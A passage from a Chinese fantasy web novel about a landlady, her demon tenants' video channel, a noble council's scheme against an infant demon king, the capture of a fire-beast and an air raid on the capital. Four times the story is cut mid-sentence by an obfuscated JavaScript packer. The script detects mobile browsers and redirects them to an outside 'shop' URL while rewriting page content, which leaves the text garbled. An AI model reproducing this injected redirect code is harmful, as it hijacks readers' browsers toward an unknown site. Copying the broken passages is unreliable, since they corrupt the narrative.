维克多已经拉好了拉链，重新戴上了墨镜：“准确来说，魔族彻底跌入社会底层的状况是从‘魔法大发现’开始的。”他动了一下手指，大概是在计算什么：“二十多年前，没错，正好比你的出生时间早一点。所以你完全没有经历过那段社会风气比较宽松的时代。” “魔法改变了很多……”妮娜嘀咕道，“我们明明可以用魔法将这个社会变得更好，可现实却完全相反。变得更好的只有原本就富裕的人。” 维克多不以为意地笑了一下：“这不是魔法的错。在人类掌握魔法之前，这是生命之树给予魔族的礼物。后来它被人类夺走了。人类显然没有把它用在什么正途上。否则社会不会越来越坏——我们似乎把话题扯远了。” 妮娜点点头：“我们正在讨论作为魔族，你为何如此富有，维克多先生。” “技术是我的原始资本，我用它获得财富，再让那些财富在经济周期中增殖。你是学经济的，一定听过用钱生钱的道理。”维克多说，“你也一定知道，星屑不仅是一种魔法消耗品。在魔族尚且保有其自己的王国时，星屑就像黄金一样，在经济社会中充当一般等价物。直到今天，这种传统也没有完全消失。” “我知道，近几年就有好多人通过交易星屑一夜暴富。魔法技术的发展改变了星屑的属性，也迅速提升了它的价值。”妮娜盯着维克多的背包看了一会儿，“不会吧，难道你也是一个星屑暴发户？” 维克多做了一个嘘的手势：“星屑之于人类不同于黄金之于人类，但星屑之于魔族，就像黄金之于人类。我最开始囤积它们的时候，可没有抱着发财的意思，那更像是一种信念。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924289|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信念？”妮娜看到维克多藏在墨镜后面的眼神有些闪烁。 “我想很多魔族成员都有过这样的念头。那时候的我，曾相信只要得到足够多的星屑，就可以借用它们的力量让生命之树重获新生，然后诞下新的魔王。”幽灵用一种飘忽的口吻说着，“我每年都会去赫尔马岱看它。自从魔法大发现之后，不用说等它重新长出树冠了，我眼睁睁地看着它一年比一年更加枯竭。” “所以你把过去收集的星屑都卖了？” “现在它们只是我谋生的手段。一部分在市场上替我挣钱，一部分充当我的工作原料。”维克多拍了拍自己的背包，“我猜贵族院近来从那个被炸毁的基地里得到了不少星屑，市场上的价格变低了，我就多买了一点提出来备用。” 妮娜狐疑地看着他：“据我所知，魔族不被允许进行星屑交易。不对，他们根本就不被允许进入交易所，也不允许拥有交易账号。” “就像薇薇安和拉弗尔得到你的援助，从而得以在网上开展活动，或者像莉莉那样，得到了某个人类的后援，其实我也另有一位人类援助者。”维克多说，“或者可以称之为代理人。” 妮娜想起有一期的《勇者笔记》里提到过关于人类的援助的内容。 不是所有人类都会按照社会的风气决定自己的行动。不是所有人类都能够违背自己的良心，去伤害一个从未冒犯到自己的魔物，仅仅因为他不是自己的同类。 而这些人中，尤其具有勇气的，还会向他们伸出援助之手——勇者称其为人性的闪光之处。 这让她对未卜的前途又多了几分乐观。 …… 如果你真的仔仔细细地观察过社会上那些隐秘的角落（我知道要做到这一点很不容易，除了像我这样的存在，恐怕没人愿意花费足够的时间精力去完成这项伟业），就会发现和魔族一样，人类也是一个不能一概而论的种族。 有时候，人类和人类的差别，可以比人类与魔族的差别还要大。 人类厌恶魔族——这只是一个存在于浅层的社会概念，一个基本的道德风向。这么说可能更通俗一点：虽然社会教育人类要蔑视魔族，甚至憎恶他们，但这并不意味百分百的人类都会将它作为人生的信条刻入脑海。 人类和魔族并非天敌，我们并未携带相互憎恶的基因。人类之所以厌恶魔族，百分之九十以上是教育和规训的结果，故而时不时有人反思，那个种族究竟对人类犯下了什么不可饶恕的错误，又或者生来背负着什么原罪——这些思考将导向一个结论，这种以物种为单位的厌恶感是缺乏道理的。 否则历史上也不会出现所谓的黄金时代。 每个时代，每个社会，都会出现一些叛逆者，以及一些不愿意违背本心的人，他们的良知总是熠熠生辉。 ——《勇者笔记·第二卷》 …… 31. 加冕之日 * 恩斯法内大学魔法部发布的“女大学生如果是魅魔”视频不出意料地成为网络上的热门话题。 虽然不乏种族主义者的发言，扬言要人肉视频中的女学生，但评论的风向比现实的遭遇要温和太多，不少人表达了对视频主人公的同情。 不少女性义愤填膺，认为就算对方是一名魅魔，也没有理由受到这种非难和公开羞辱。 魅魔科普视频的第二期很快就在罗德里斯公寓的摄影棚中录制完成，有了经验丰富的莉莉女士的参与，整支视频看起来比之前专业不少。 “总觉得不久之后就会有甲方来找我们打广告了。”文森特总是那么自信。 “会有什么甲方愿意在关于魔族的视频里打广告呢？”维克多提出了一个现实的问题，“相关背景的网络游戏、小说之类的？” 他的质疑颇具现实意义，大多数实体商品应该都不想和魔族扯上关系。 “好吧，但即使只靠打赏也能保证我们这一大家子人不会饿死了。” 视频发布之后，点击数肉眼可见地快速上升。快速增长的播放量和评论数则证明魔法公寓账号已经具备了初步的商业价值。 [我去……莉莉！真是人生何处不相逢啊。我刚打算脱坑，就猝不及防在这遇上了。这坑看来是暂时脱不了了。] [这事情怎么还带反转的？莉莉居然还真是魅魔啊？] [之前骂人的打脸了没？真是传谣一张嘴，辟谣跑断腿，要不是魔法公寓做这期科普，估计莉莉就要被你们网暴到退网了。欺负一个小姑娘也不知道你们怎么好意思的。] [八十岁的小姑娘，笑死。希望等我到了八十岁也有人叫我小姑娘。] [有些人看到大胸细腰就不知道屁股该往哪里坐了，居然开始帮魔族说好话了，上网真是让人开眼。] 正如制作者们预料的那样，这是一期非常具有话题度的视频，大量莉莉直播间的粉丝和黑子都闻讯而来，加上“女大学生如果是魅魔”的影响，流量非常喜人。 斗法斗嘴的用户们只花了短短几分钟就在评论区盖起了高楼大厦，如此热闹的阵仗很快就将这期节目送上了乐飞的首页。 一些不知道发生了什么，只是单纯对科普内容感兴趣的用户也被吸引了进来。 [这种视频很有意思，想知道哪里能了解到更多的相关知识？上学的时候想做一个和魔族有关的课题，结果哪哪都找不到资料，不知道up是从哪里获取这些情报的？] [up请了真魅魔呀，不知道的可以看一下前面的视频。] [以后还会出什么种族？我想看血族！！] [附议！up能不能请到吸血鬼和狼人啊，能不能再搞个短剧，就像上次那个三角恋一样狗血的。] 文森特把这条建议记录到了自己的小本子上。 妮娜注意到他不知从什么时候开始就有了这种收集素材和灵感的习惯，不过……“等等，你不会真的想拍吸血鬼和狼人的狗血故事吧？我们这儿没有相关演员。” 文森特毫不气馁：“以后说不定会有的，先记下来，免得到时候忘了。” * “不少人开始对魔族产生兴趣了，别告诉我你们觉得这是一个好的信号。”布劳斯将一只手按在桌子上，指着投映在大屏幕上的画面嚷嚷道。 画面上是科普魅魔奇异特性的视频。从弹幕的密度可以看出观众的数量相当可观。 “所以呢？”韦斯特尔一手撑着脑袋，双眼无神地看着屏幕，似乎有一点不耐烦。 布劳斯瞪了他一眼：“随着了解的深入，市民会开始关注魔族，然后同情魔族，最后再把黄金时代重演一遍——我可受不了那个。” 韦斯特尔阴着一张脸说道：“今时不同往日，平民自顾不暇，能抽出些时间来看这些无聊的视频就该谢天谢地了，你指望他们多管闲事？他们最多只会在网上声讨一下。不痛不痒。” “哦，不敢实际有所作为，意思是你们仍然打算放任不管？当真？说清楚，你们到底站在哪一边？”布劳斯说。 “当然是贵族院。我只是想表示这点水波不足以掀起浪花。”韦斯特尔说。 兰登则有些不放心：“我觉得应该尽快把赛程推进第二阶段，让这个项目成长到难以控制的地步再采取措施就晚了。” 到底是从什么时候开始，圆桌会议的气氛总是如此险恶。 如果你清楚三百年究竟有多长，并且清楚这三百年来几乎每天都要面对那几张同样的面孔，就不难想象这原本发誓同生共死的七人为何会变成现在这副模样。 兰登在近二十多年来最期望看到的事就是他们七个人能够和好如初，就像他们并肩战斗的那段时光一样。 现在回想起刚刚踏上这片土地，回想起那时候血泪交加的奋战，回想起这个人类王国建成之时的场景，仍觉得像是做梦一样。 过去的三百年里，他们之间的关系虽然在逐渐冷却，但至少总体上还是和睦的，不像这些年，争执远远多于和平，就算看起来在心平气和地讨论，每个人私底下也不知道究竟在想什么。 而打破原先那种稳定平衡的，无疑就是魔王的诞生。 一颗将近三百年来不曾有过成长迹象的、一直被他们认为已经僵止的卵，竟然在他们谁也没有注意到的时候静静地孵化了。 最先发现这一剧变的人就是她。 她不知道那天自己是受到了何种蛊惑，莫名地前往了已经好几年没有踏足过的树龛，讶异地发现本该躺在树桩上的卵变成了一个婴儿。 她感受到自己体内的暗夜核心正在因为那个婴儿的啼哭震动，而她自己则因为这股震动感到恐惧。 再没有任何事物能唤起她的这种恐惧，除了彼时彼刻的婴儿哭声。那声音就像是一只大手，无情地扼住她的咽喉。 这个婴儿的出生，意味着她，意味着他们至高无上的权力将被压制，意味着一切再不复从前。 可他们既不能抹杀这个婴儿，也不敢将她留在自己身边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924290|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在一场圆桌会议之后，他们一致同意，这个女婴将被当做人类抚养长大——在她意识到自己的身份之前，他们要竭尽所能掌控名为魔法的力量，在避开她那名为“绝对权力”的魔咒同时，将她彻底封印起来。 只有这样，他们七个人才能过上从前的那种生活。 而兰登也相信，只有这样，他们的关系才能回到从前。 “我愿意担任那个项目的导师。”蒂德莉的声音打断了兰登的胡思乱想，“需要竞岗吗？” 大家都知道她在说哪个项目。 “反正我不想和她产生什么联系，你愿意招惹这个麻烦对我来说再好不过。”贝尔霍特说。 “我还在想，如果没人愿意干这事的话，你们一定会把责任撂到我头上。”波诺说。 韦斯特尔的眼神依然透露着阴沉：“你最好没在打什么坏主意。” 兰登在蒂德莉开口前就替她辩驳道：“我们这里的每一个人，都不可能做出有损贵族院利益的事情。” 蒂德莉点了点头。 布劳斯说：“我想也是。” 最后是还没有发表意见的阿斯代伦。注意到会议上所有人的目光都集中到自己身上，他这才不情不愿地用那略显疲惫的声音说道：“如果有需要帮忙的地方，我会尽力的。” “你看上去精神不佳。”韦斯特尔说。 “没什么，也许是吸血鬼的核心开始侵蚀我的身体了。”阿斯代伦说。 贵族们的眼神瞬间发生了变化，整个会议室鸦雀无声。 阿斯代伦有气无力地举起双手：“开玩笑的，只是最近休息得不好。” 贝尔霍特恶狠狠地看了他一眼：“那事情就这么定了。” 散会之后，兰登本想和阿斯代伦聊聊——她担心核心的侵蚀并非空口之谈——不过蒂德莉先她一步。 “我似乎没有见过你如此消沉的样子。”蒂德莉说，“直觉告诉我，你一定遇到了什么。不方便说吗？” 阿斯代伦没有表现出太多交流意愿，顾左右而言他：“我也很少见到你如此多管闲事的样子，让人好奇你的心态发生了怎样的变化。” “我……” “你很在意那个孩子？我是说——魔王。” “我想这里没有人不在意她。”看到蒂德莉露出为难的表情，兰登忍不住上前帮她解围，“这其实很不公平。她给我们造成了这么多麻烦，她自己却对此一无所知。我经常觉得要让她吃一点苦头才行。” 阿斯代伦将脸转了过来：“不公平吗？如果我们从未出现在这里，再过不久应该就是她正式加冕的日子了，你却要说这对我们不公平？” 兰登脸色一僵：“你什么意思？” 阿斯代伦莫非是在替魔王说话？ 蒂德莉挡在两人中间：“这不值得我们动怒。我会努力处理好这件事的。” 兰登愣了一下。 “如果你有什么需要帮忙的地方，我也同样义不容辞。”她深吸了一口气，对蒂德莉说。 32. 蒙多被捕 * 贵族院的地下，一处被巨型的魔法阵封印起来的房间。 青年静静地坐在房间中央的床上，似乎在闭目冥想，但是他的十指却摆在面前，没有规律地动作着，仿佛在敲打键盘。 要非常仔细地观察，才能看到他指尖连接着的比头发还细的丝线。这些丝线一端连着他的手指，另一端却不知连接何处。 不知他在漆黑的视野中看到了什么景象，此时正紧紧皱着眉。 如果能够入侵他的大脑，便会发现，出现在他眼前的是视频网站的页面。 《如果走在身边的女大学生其实是一个魅魔的话，人们会有怎样的反应？》 视频主人公遭受暴力的场景让他感到焦躁。 他们怎么能这样对她？ * 正在观察大赛官网排名的阿尔弗雷德发现原本还落在自己后面大十几名的廉租公寓项目不知什么时候有了迎头赶上的趋势。 “该死，再这样下去就要被反超了。” 他可以容忍罗德里斯公寓晋级下一轮，但绝对不允许它以高于自己的名次晋级。 虽然表面上看，他的文创品牌和廉租公寓并不存在互斥的竞争关系，但根据他对社会规律的考察，他有一种强烈的预感：地狱火和罗德里斯之间，最终一定只能留下一个。 无论再怎么破天荒，赛事主办方和贵族院都不可能允许最终的获奖名单上出现两个与魔族有深刻关联的项目。 经历过举报事件的小低谷，现在的罗德里斯公寓迎来了高速增长的反弹期，这时候不适合进行再度打压，阿尔弗雷德意识到应该在自己的项目发展上动动脑筋。 他合上电脑，坐到自己的画布前，希望能够通过创作获得些许灵感——他有过多次类似的经历，在绘画的过程中灵机一动。 就在他挖了几块颜色砌到调色盘上的时候，他看到画布中央出现了一个褐色的图形。图形的中央带着星点的明亮的颜色，让人一阵恍惚。神奇的是，这个图形会动。 它在慢慢地变大，从画布的中央向四周扩散。 阿尔弗雷德沉浸在这奇异的变化中，直到嗅到一股焦味，他才猛地意识到，他的画布不知为何被点着了。 哗！ 气势汹汹的火蛇从画布上的焦边中蹿了出来，一下子就咬住了他的额发，他下意识向后退去，整个人连带着椅子仰摔在地上。 红发的魔物跟着从画布中钻了出来，他居高临下地盯着地上的猎物，那条不安分的火蛇就在他身边盘旋，嘶嘶地吐着冒烟的蛇信。 “你怎么会在这里！”阿尔弗雷德失声叫道。 魔物压住了他的身体，单手扼住他的喉咙：“为什么要做那种事？”他的声音听起来有些喑哑，像是被烤焦了的愤怒。 “什……什么？我、我对你做了什么吗？” “你为什么要把在近郊遇到魔族的事情告诉贵族院？！是你毁了我的家！”魔物情绪激动地控诉着。 “那、那只是规定——如果遇到龙族、幻灵和元素兽，必须上报给贵族院。”阿尔弗雷德为自己辩解道，“我只是在按规定做事！” “规定！”魔物的声音带了一点绝望，“我也该按规定办事的，我该在见到你的第一时间就把你烧死！！” 火蛇向阿尔弗雷德的身体倾轧而来。 完蛋了——阿尔弗雷德想。 就在他以为自己的眼睛会被这条火蛇烫瞎的时候，房间的玻璃窗突然爆破了，一条黑色的影子从窗口一晃而过，接着像一阵风似的卷入了这个房间。 红发的魔物被这阵黑色的旋风一脚踹飞，那条嚣张的火蛇也随之熄灭。 得救了？ 阿尔弗雷德觉得身体一轻，压在身上的重量消失了，他用手肘支起上身，望向铺满了无数玻璃碎屑的窗台。那上面站着一条影子。 那应该是一个人，但看起来确实像一条影子。从头到脚都被黑色的服装包裹，四肢和躯干都枯瘦得像几根树枝拼凑在一起似的。 他伸出手掌，那上面躺着一个球体，那球体像一条活的章鱼，挥舞着数条细长的黑色触手。 随着那条影子的一个响指，那些黑色触手瞬间变粗变长，变得横冲直撞，它们带着锐利的尖端向阿尔弗雷的脑袋刺来——不，它们掠过了阿尔弗雷德的身体，将那头被踢到墙角的魔物给团团锁住。 魔物不停地挣扎着，但锁链的力量不容小觑。它不仅封锁了魔物的动作，似乎还封锁了他的魔法，他试图释放火焰攻击那条影子，但只召唤出了一缕带着焦味的青烟。 影子确认自己已经捉住了这头魔物，看也没有多看阿尔弗雷德一眼，就带着他的猎物飞离了窗口。 随着他的离开，散落得到处都是的玻璃开始震颤，开始拼合，最后它们都回到了窗框里，变得完好如初。 * 【今晨八点，一头炼狱兽在神圣峡谷一处学生公寓被捕获】 “好家伙，今年怎么了，炼狱兽连着两次上了新闻，官方数据是不是该改一下了？” “应该会被处理掉吧？” “别呀，不是要保护物种多样性的吗？反正只有一头，贵族院好好看管就行了，也不必非得赶尽杀绝吧？” “看管不用成本的啊？关一头强杀伤力的魔物和关一头老虎不一样，肯定要在笼子外面上魔法的，这消耗具的钱最后还不是要纳税人出？还是直接送他下地狱吧。” “[用户发起投票活动：你希望如何处置这头最后的炼狱兽？处死VS关押]” “参与人数2512；处死76%VS关押24%” 妮娜来到一楼的公共区域时，发现两层楼的房客们都聚集在一起，看起来好像在讨论什么时事新闻。 “这样下去的话，贵族院毫无疑问会把他杀掉的。” “难道我们要眼睁睁地看着他被处死吗？” “不然还能怎么样？你不会想效仿那种古典小说里的情节，去劫法场吧？只要七贵族中有一人在场，我们就会不得好死。” “说的没错，魔女会用他们的锁链把我们刺成渔网。” “别想太多了，我们只能表示同情，绝对不能实际做些什么。” “可那是一只炼狱兽，没有人类能够控制得了他！如果我们仍对推翻贵族统治的事情心存幻想，就必须把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924291|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他救下来——无论要付出什么代价。像我们这样的囚徒，不管死多少个，都比不上一只活的炼狱兽有价值！” 最后那一长串话是乌鸦说的。 “我好像听到你们在说炼狱兽，发生了什么？”妮娜抓住他们谈话的间隙，在餐桌边上找到了一席之地。 刚才还在振振有词的乌鸦瞬间安静下来，露出不满的表情，她还没有和房东彻底和解。薇薇安举起手机，放到妮娜面前：“新鲜出炉的消息，魔女捕获了一只炼狱兽。” “网上正在讨论贵族院会怎么处置他。”文森特补充道。 妮娜一把将手机抢了过来，确认了新闻的内容。 罗德里斯基地遭到围剿的那天，蒙多并没有出现在聚会的现场。他没有死在罗德里斯基地。他逃了出来？ 她后悔这时才意识到这个重要的线索，否则她一定会在第一时间去把这位幸存者给找出来。 “我们应该去救他！” 她在说这句话的时候，脑中还没有经过太多思考，完全是一种下意识的反应。 “不行！”第一个表现强烈反对的人却是刚才还说着要以死一搏的乌鸦，因为情绪激动，她的肩膀上甚至冒出了几片竖直的羽毛。 这种快速转变的态度让周围的人也都吃了一惊。 “你刚才可不是这个想法。”维克多用探究的眼光看着她。 乌鸦这才意识到自己的失态，讪讪地收起那些羽毛：“你不该掺和到这些事情里来。你明明什么都不懂。” “我认识他，他是我的朋友。我不能在朋友受难的时候干坐着。”妮娜说，“我可以试着联系我法律系的同学，他们或许可以提供一些办法。” 维克多按住她的手：“房东大人，我看出来了，你和乌鸦女士其实是同一类人——在冒失和莽撞这方面。不过总体来说你要稍微好一点。” 一直像条影子似的坐在角落的文森特突然开口：“不管是我们这些魔物，还是你，斯特尔小姐，就算我们加在一块，想要从贵族院那里救出这只炼狱兽都是几乎不可能的事情，很遗憾，事实就是这样。我们这里能够算得上战斗力的也就只有乌鸦，而她甚至打不过一名低阶魔女。” 这话让乌鸦很不高兴，但也使她无法反驳。 文森特继续说道：“我们最好还是静观其变，尽管这样有些冷酷无情。不过我觉得事情也没那么悲观，网络投票只是市民们的意见集合，贵族院未必会真的处死炼狱兽。” 维克多举起右手：“我同意大巫妖的观点。据我所知，贵族院一直在暗中寻找炼狱兽核心的下落，这只小炼狱兽对他们来说极具价值，而他的火焰也未必会对他们构成威胁。” 妮娜看向四周，想要听听其他人的意见。 魅魔们显然一致赞成文森特的想法，艾力克也不用多说，他还处于懵懂的状态，而乌鸦在妮娜决定加入讨论的同时，就已经自动放弃了劫狱的打算。 “看来大家已经达成了共识。”妮娜虽然这么说着，但心里还是有些放不下，“总之不管后续要采取什么行动，眼下我们能做的就是尽量把握情况。” 无论如何，她希望蒙多活下来。 33. 空袭事件 在有确定的情报之前，罗德里斯公寓在炼狱兽的相关事宜上选择按兵不动，继续经营视频账号。 莉莉是这方面的老手，原本积攒的人气和近期话题带来的流量，直播间的热度自然是不用多说。 而文森特则开辟了自己的赛道，用他几乎没有表情的脸、几乎没有抑扬的声调配合搞笑的段子，出人意料地俘获了大量观众，这种带着冷感的幽默让因为现实挫折而情绪低迷的观众们得到了发泄。 莉莉传授了分析观众喜好的方法，并以此为依据错开每日直播的时间，譬如让文森特在工作日的午后给颐养天年的老人们讲笑话，自己则占据晚饭后的时间段。这种分配方式效果很好。 与此同时，薇薇安和拉弗尔增加了出门的时间，在街头收集线索。经过几天的走街串巷，魅魔情侣带回了一个和炼狱兽毫不相关的消息。 “离公寓两条街的地方，有人新开办了一家面向魔族小孩的私塾，或许可以送艾力克去上学。” “等一等，你是说有‘人’？” “没错，是人类办的。” “听起来……别有用心。像是要骗走那些小魔物们，再把他们卖进什么黑心工厂。毕竟，魔族们——尤其是年纪还小的那些，怎么可能付得起学费？” 妮娜皱着眉头。如果真的有魔族私塾，那她一定很乐意把艾力克送到那里去接受教育，前提是安全性必须得到保障。 拉弗尔明白她的这种顾虑，于是解释起来：“这种事情其实并不少见，而且学费也不是金钱。斯特尔女士，我和维维就是在那样的私塾里学习了人类的文字和一些人类社会的常识。” “可我从来没有听说过……”妮娜露出了迷茫的神色。 “通常只有魔族才会，也才能了解到这些东西。私塾的入口很隐蔽，私塾的塾长也只会在确认过你是如假包换的纯血魔族之后才会告诉你这些。”拉弗尔说。 “那么代价是什么呢？” “塾长会定期让我们活化一些魔法媒介。”拉弗尔说，“这是一个只有特定圈子的从业者才知道的情报。” 妮娜意识到这里会有一些新的知识点，端坐着等候魅魔的下文。 人类通过学习魔法术式和魔法回路，可以掌握一部分魔法运行的原理，他们将这些术式和回路装载到特定的器物上，制成魔法媒介或是魔法道具——这是人类操作魔法的必要物件。 拉弗尔跳过了这些众所周知的情报，直奔主题：“魔法的施放需要魔力，这是人类自身无法生成的东西，也就是说，即使拥有魔法媒介，如果没有魔力源流的话，人类依然无法使用魔法。” “可是人类确实能够在没有所谓魔法源流的情况下操作魔法媒介。” “那是因为制作者在制作媒介的时候就已经封入了魔力源流。大多数人以为星屑是一种魔法媒介，实际上它就是为那些高级媒介供能的魔力源流。至于那些价格相对低廉的低级媒介，封存的就是从魔族身上获得的魔力。这些魔力就是我们需要上交的学费。”拉弗尔说，“每个魔族成员都具备魔力，只不过不是所有魔物都会使用魔法。” “当然，有些魔物的存在自身就像是一种魔法，我们能够改变性别的能力也算是其中的一种。”薇薇安在一旁补充道。 “这会对你们的身体造成损害吗？”妮娜对这种古怪的交易抱有一种类似卖血换钱的印象，但又在潜意识中觉得这样的代价还算合理——无偿教学反而更加让人起疑。 薇薇安摊了摊手：“说实话，我不清楚，但我们都健健康康地活到了现在，即使有害，应该也在我们身体自我修复的承受范围之内。” 妮娜沉思了一会儿：“我可以亲自去看看吗？我得确保那是个可靠的地方。” * “购买星屑？” “嗯。” “用来干什么的？要多少，什么纯度？” “十克，最纯的。” “想收藏用还是炼制用。” “十克，要纯的。” “呵呵，不想细说吗？” 这是位于老城区和新城区交界处的一家经营星屑收售的私人商铺，依靠回收废弃魔法媒介及魔法道具中的残留星屑再对外出售获取收益。 这种工作又脏又累，在过去非常赚钱，但随着从事的人员越来越多，利润也就越来越少，不过终究还是能挣到的。 会来这种私人店铺收购经过提纯的星屑的，通常都是些新手上路的媒介商人，但偶尔也会有一些“别有用心”的客人。 店铺老板是从业超过十年的行家，对星屑价格的变动非常具有前瞻性，而且提纯炼制的手腕在首都也算得上数一数二，尽管店面很不起眼，实际上早就名声在外。 他一眼就看出了今天这位客人的秘密，也知道她不愿轻易吐露的内容究竟是什么。 这位客人是魔族。从她没有破绽的外形来看，应该是魅魔或是半兽人一类的。这类顾客购买星屑的目的收藏大于投资。 但这样说其实极不准确，因为从某种角度来说，也可以描述为投资目的大于收藏，只是并不作为一种能够增殖的资本投资。 伪装成人类来他这里购买星屑的魔族客人往往有着统一的目的，这位经验丰富的老板通过长期的观察和总结，勉强得出了一个解释：就像仓鼠会把干果粮食藏在自己的嘴里一样，就像飞蛾扑火一样，魔族囤积星屑是出于一种本能的指引，而且一旦开始囤积，这就会被发展为一种难以戒断的成瘾行为——哪怕他们自身一贫如洗，他们依然会执着地购入这种既不能吃也不能穿的东西。 从某个角度来说，星屑和黄金是类似的，从另一个角度来说，星屑又和煤炭石油类似。 人类虽然已经在工业生产中大规模使用这种物质，但真正能阐明其性质的人恐怕一个都没有。 所以店铺老板不知道那些被买回去的星屑有什么实际的用途。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924292|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这里是十克纯星屑，你可以检查一下。”老板将称好的星屑摆到柜台上。 客人屏住呼吸，凑上去飞快地看了一眼，然后点点头。 于是老板将这些星屑装进一个小罐子里，然后在自己的私人电脑上录入了一些内容。 “根据今天的价格，一共是三千零七十六卡什。” 客人从怀里摸出一卷皱巴巴的钞票。 老板会意地接过，用点钞机过了一遍，共三十张。 在这点时间里，客人正好清点出七十六的零钱，放在柜台上。 老板冲她笑笑，将小罐子密封好，然后递给客人。 就在这时候，大地发生了震颤，远处传来巨响，天花板上的石灰扑簌簌地掉下来。 客人的脸上露出了惊恐的表情，将小罐子紧紧攥在掌心，不知所措。 这时候，老板已经走出柜台，快步走到到街上，看了一眼四周，这才稍稍松了口气。 “我还以为是地震呢……” 不过很快，他就又紧张了起来，巨大的铁鸟般的飞机正在不远处的城市上空飞掠，炸弹被投了下来，炸出一团团灰色的烟雾。 这都什么年头了？怎么会在首都发生空袭？开玩笑的吧？！ 还不等他弄清发生了什么，客人便狠狠甩开步子，一溜烟跑得没影了。 * 为了走在街上的时候不那么引人注意，在前往私塾的时候薇薇安没有同行。 艾力克被套上了一件连帽卫衣，穿着宽松的长裤，看上去就像一个体格比较结实的小孩，加上妮娜和拉弗尔，只会让人以为是寻常的一家三口。 “但是上学的路总让人有点不太放心。”妮娜走在拉弗尔身边，同时观察着四周的景象。这儿离公寓不远，但她很少走这个方向，对周围的一切都感到有些陌生。 “我想你的租客们——包括我，如果有空的话都会乐意接送艾力克上下学的。”拉弗尔说。 艾力克晃了一下和妮娜牵在一起的手：“只是上下学的话，我一个人也可以。” 小家伙已经迅速适应了公寓生活，并表现出性格中顽皮的那一面。 拉弗尔看了他一眼：“没错，这是一个独自在城市的街道上流浪了好几年的小家伙，他就像一只老鼠一样机灵。” 妮娜不觉得这是一个恰当的比喻。 在路过街边一家看起来濒临倒闭的服装店时，妮娜从橱窗的玻璃上看到了一些奇怪的东西。 有一些漆黑的、圆形的，带着一点光亮的东西在上面由小变大。 她脸色陡然一变，大喊起来：“蹲下！” 还不等两名同行者反应过来发生了什么，她已经张开身体，将自己整个儿盖在艾力克和拉弗尔的背上。 天空的尽头传来一声尖锐的呼啸，就在不远的地方发生了一场爆炸，烟雾和火焰立刻蹿了起来，碎裂然后飞溅的石粒陆陆续续撞上街边这三个抱成一团的路人。 34. 水落石出 尖叫声此起彼伏。好几个街道的车辆都开始胡乱地鸣笛。 大约过了两三分钟，妮娜感到动静似乎小了，正抬起头，一个大鸟般的影子从她上空掠过，她又赶紧伏下身体，罩在两名房客上方。几秒之后，又是一声爆炸，大地似乎都震颤了几下，这说明爆炸的地点离他们很近。 尽管知道周围不安全，她也不敢再随意乱动了。 接着不远处又发生几次连环爆炸，一些碎石瓦砾被崩到她的背上，巨大的惯性让这些小石子充满杀伤力。 妮娜想，只要落在背上的不是炸弹就行。 响声仍在持续，已经听不清混杂在其中的人群的呐喊声。失常的听觉环境让人深感不安。 就在这时候，不知从哪传来呼啦一声。妮娜觉得自己的身体被一种温暖的东西覆盖住了。视线变得阴暗。她勉强睁开眼睛，看到了垂在自己手臂边上的巨大羽毛。 又过了大概五分钟的样子，这期间再没有发生新的爆炸，她动了动身体，背上的温度消失了。 “乌鸦，你怎么跑出来了？”她看到刚刚护住自己的兽人少女身上还残留着没有褪完的羽毛。 乌鸦不满地盯着直起身来的拉弗尔和艾力克：“你们怎么好意思让一个女孩儿护着你们？尤其是你——”她的眼神在盯向小巨魔的时候变得格外严厉，“你是一个巨魔，有着坚不可摧的皮肤。” 妮娜挡在两人中间：“他还是个小孩，而我是成年人。” “那拉弗尔呢！” “他也比我小。” 拉弗尔看着妮娜的后背，叫了一声：“你流血了！”他在乌鸦的威逼之下露出了愧疚的表情。 妮娜安慰他：“不怎么疼，没事的。”又对乌鸦说：“不过还是多亏你赶来了，否则我的背一定会变得千疮百孔。你没事吧？” 乌鸦一别脑袋：“羽毛是种很方便的东西。” 妮娜环顾了一下四周：“话说回来，到底发生了什么……” 原本就不怎么光鲜的老城区此时看起来几乎成了一片废墟，似乎有人想把这里夷为平地。 